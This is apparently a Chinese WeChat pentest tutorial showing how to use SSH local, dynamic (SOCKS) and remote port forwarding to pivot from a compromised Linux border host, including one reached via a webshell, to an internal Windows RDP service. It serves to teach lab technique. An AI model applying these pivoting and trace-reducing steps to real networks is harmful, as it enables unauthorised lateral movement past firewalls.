点击上方“蓝字”,关注更多精彩
0x00 前言
SSH
服务大家耳熟能详,全称Secure Shell
,在内网中几乎所有的linux
服务器和网络设备都支持ssh协议。最初SSH是由芬兰的一家公司开发的。但是因为受版权和加密算法的限制,现在很多人都转而使用OpenSSH。 OpenSSH是SSH的替代软件,而且是免费的。
一般情况下,ssh
协议是允许通过防火墙和边界设备的,所以经常被攻击者利用,非常经典。
得益于 SSH
协议在传输过程中都是加密,所以在流量层面也较难区分合法与非法的 SSH 流量。
攻击者使用ssh端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。下面将由浅入深说一下。
0x01 SSH命令常用操作
环境部署
指定端口
#centos机器上将4444流量转发到22
iptables -t nat -A PREROUTING -p tcp --dport 4444 -j REDIRECT --to-ports 22
#kali
ssh [email protected] -p 4444
执行命令回显到本地
相当于一次性的,可以看到我执行下面这个命令后,回显的是目标centos的系统信息,并且是在本地回显,并没有与centos建立持久连接。
ssh [email protected] "cat /proc/version"
构建ssh密钥对
经常会利用这个方法,将公钥写入对方服务器,然后通过公钥免密登录。
ssh-keygen -t rsa
请求数据压缩
-C
,这个参数开启表示所有通过ssh
发送或者接收的数据将会被压缩,并且仍然是加密的。
开启调试模式
v
这个参数在很多工具都能见到,指的是英文单词verbose
,原意冗长,在这里指的是开启回显。可以通过v
参数追踪调试建立的ssh链接从而判断哪里出了问题,更好地分析链接过程。
0x02 SSH隧道利用--本地转发
创建SSH隧道的常用参数
这里算是个查看手册,根据下面的实验命令回过头来看看即可。
-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-p:指定ssh端口
环境配置
当kali
成功连接到了centos7
这台边界机后,通过信息收集,发现windows08
开启了3389
,kali
无法直接访问,随即可用ssh
隧道进行端口转发访问。下面这条命令可能会比较难理解,但是多敲几遍就懂了。意思就是说,通过centos7
这个跳板,将内网windows08
的3389
转发到了kali
自身的10086
上,相当于通过ssh
命令,将centos
作为正向代理进行访问内网机器。
ssh -NCfL <本地开启监听>:<内网远程机器>:<要转发的端口> root@<kali_ip>
ssh -NCfL 10086:192.168.111.2:3389 [email protected]
可以通过查看端口,来判断是否成功转发。
正好这里说一下难理解的-N
静默模式,如果上述命令不加f
这个后台运行的话,可以看到输入完账号密码后会一直卡住,但是实际上已经成功了。
我们按下ctrl+c
就可以取消这个端口转发,这样做有个好处,就是省得我们忘记后台还映射了某些端口,从而一定程度上避免了端口随意开放的风险,也减少了我们渗透的痕迹。
0x03 SSH隧道利用--动态转发(socks代理)
环境配置
因为动态转发需要能够访问到目标机器,所以还是使用上述环境。
实验过程
1、执行下面的命令即可,十分好理解,-N
静默模式,C
就是压缩数据加快传输,f
后台,D
就是开启socks
#攻击机上执行:
ssh -NCfD <kali端口> <边界机SSH用户名>@<边界机ip>
ssh -NCfD 10088 [email protected]
2、动态转发其实就是建立一个 socks
连接,任何支持 socks 4/5
协议的程序都可以使用这个加密通道进行访问。配置proxychains
访问内网3389
成功。
0x04 SSH隧道利用--远程转发
本地转发中提到-NCfL
可以理解成正向代理,那么这里的远程转发可以理解成反向代理。
环境配置
centos7
通过路由可以访问外网的kali
,kali
获取到了centos
机器的webshell
,但是kali
无法ping
通内网111
网段。
将centos
作为跳板,进行远程端口转发,下面这段命令需要在centos7
的webshell
中执行。
ssh -NCfR <kali端口>:<win08_ip>:<win08端口> root@<kali_IP>
ssh -NCfR 12345:192.168.111.2:3389 [email protected]
随后kali
使用rdesktop
命令链接即可
rdesktop 127.0.0.1:12345
0x05总结
1、如果获取到webshell
的目标机器是Linux
边界机,可以优先尝试使用ssh
隧道的动态转发即socks
隧道。
2、如果获取到webshell
的目标机器是Linux
内网机器(可访问外网),可以尝试使用ssh
隧道的远程转发。
往期推荐
CVE-2021-4034 Linux Polkit本地提权漏洞
CVE-2021-31760 Webmin CSRF致使RCE
CVE-2022-22965 Spring core RCE漏洞
郑重声明:该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。
原文始发于微信公众号(HACK技术沉淀营):内网渗透 | SSH隧道常见三种利用方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论